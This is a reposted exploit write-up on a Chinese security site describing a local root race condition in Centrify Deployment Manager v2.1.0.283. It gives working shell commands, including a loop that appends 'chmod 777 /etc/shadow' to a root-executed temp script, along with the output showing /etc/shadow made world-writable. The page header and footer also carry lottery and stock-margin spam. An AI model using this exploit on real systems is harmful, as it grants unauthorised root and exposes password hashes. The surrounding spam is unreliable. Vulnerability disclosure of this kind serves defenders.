湖北11选5任选分布走势图一定牛
     
首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Centrify Deployment Manager v2.1.0.283 Local Root
来源:http://vapid.dhs.org 作者:Cashdollar 发布时间:2012-12-10  

Centrify Deployment Manager v2.1.0.283 local root
12/7/2012

Taking a little longer look at the software, I managed to win a race condition and get root with files in /tmp. Here is my analysis:

[email protected]:/tmp ls -l /etc/shadow
-r-------- 1 root shadow 1010 Dec 7 21:42 /etc/shadow [email protected]:/tmp

[email protected]:/tmp$ ln -s /etc/shadow centrify.cmd.0 [email protected]:/tmp$ ls -l
total 24
lrwxrwxrwx 1 larry larry 11 Dec 7 21:48 centrify.cmd.0 -> /etc/shadow After Analyze/Refresh Computer Information is run :

[email protected]:/tmp ls -l /etc/shadow
-rwxr-xr-x 1 root shadow 165 Dec 7 21:48 /etc/shadow [email protected]:/tmp cat /etc/shadow
echo 144d823c-9c22-4d21-8446-4e2d07556177 vmware -v 2> /dev/null |grep 'VMware ESX Server' >/dev/null temp=$?
echo af43ab93-cfce-485e-b16f-0d4331e0e421 exit ${temp}
[email protected]:/tmp ls -l /etc/shadow
-rwxr-xr-x 1 root shadow 165 Dec 7 21:48 /etc/shadow [email protected]:/tmp

This sucks we clobber the contents of /etc/shadow and we don't have write permission.

No root still.

Looking at the history and trace of what was run on the target system we see this:

Execute echo "echo 8c8ac888-342b-461f-a0ab-659251f3d602" > /tmp/centrify.cmd.0 Result =0 <----- if we create the file before them, we own it.  We can write to it before it's executed and have our command executed.

Execute echo "vmware -v 2> /dev/null |grep 'VMware ESX Server' >/dev/null" >> /tmp/centrify.cmd.0 Result =0
Execute echo "temp=\$?" >> /tmp/centrify.cmd.0 Result =0
Execute echo "echo b2449bef-65c1-45e8-9da0-4801200c5c05" >> /tmp/centrify.cmd.0 Result =0
Execute echo "exit \${temp}" >> /tmp/centrify.cmd.0 Result =0
Execute chmod 755 /tmp/centrify.cmd.0 Result =0
Execute dzdo -p "Password:" sh -c "/tmp/centrify.cmd.0" Result =0 <--- dzdo is centrify's sudo equivalent, it's part of the centrify suite.
8c8ac888-342b-461f-a0ab-659251f3d602
b2449bef-65c1-45e8-9da0-4801200c5c05
Execute rm -rf /tmp/centrify.cmd.0 Result =0
Execute id -u Result =0

So our quick dirty exploit:

[email protected]:/tmp$ while (true) ; do echo "chmod 777 /etc/shadow" >> /tmp/centrify.cmd.0 ; done

Will get us our command executed:

[email protected]:/tmp$ ls -l /etc/shadow
-rwxrwxrwx 1 root shadow 1010 Dec 7 21:57 /etc/shadow [email protected]:/tmp$

It might work creating the file centrify.cmd.UID, then monitoring it for having the execute bit set with inotify (IN_ATTRIB). When the execute bit is set write our malicious command to the file as it about to be executed by root.

Hopefully Kayne won't smash my fingers with a hammer.  ;-)

Larry W. Cashdollar
http://vapid.dhs.org
@_larry0


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·VideoScript 3.0 <= 4.0.1.50 Of
  相关文章
·Android Kernel 2.6 Local DoS C
·TVMOBiLi 2.1.0.3557 Denial of
·Sumatra 2.1.1/MuPDF 1.0 Intege
·Dolphin3D 1.52 / 1.60 Command
·Free Float FTP Server USER Com
·Nagios XI Network Monitor Grap
·HP Data Protector DtbClsLogin
·DIMIN Viewer 5.4.0 <= WriteAV
·CVE-2012-0217 Intel sysret exp
·FreeVimager 4.1.0 <= WriteAV A
·Smartphone Pentest Framework 0
·Geany <=1.22 Local Code inject
  推荐广告
CopyRight © 2002-2019 VFocuS.Net All Rights Reserved
湖北11选5任选分布走势图一定牛
河北11选5今天开 网上理财平台 随州股票配资 全国前三配资 基金配资申请 股票融资杠杆 国盛证券 点点金配资 微乐游戏哈尔滨麻将 京海配资